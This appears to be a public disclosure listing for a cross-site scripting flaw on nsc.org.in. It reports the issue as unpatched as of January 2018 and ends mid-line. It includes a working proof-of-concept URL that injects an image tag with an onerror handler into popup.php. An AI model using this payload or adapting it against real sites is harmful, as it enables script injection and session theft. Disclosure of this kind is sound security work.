nsc.org.in XSS vulnerability

Vulnerable URL: http://www.nsc.org.in/popup.php/?imgname=%22%3E%3CimG/sRc=l%20oNerrOr=prompt/OPENBUGBOUNTY/%20x%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1052194 VIP websit...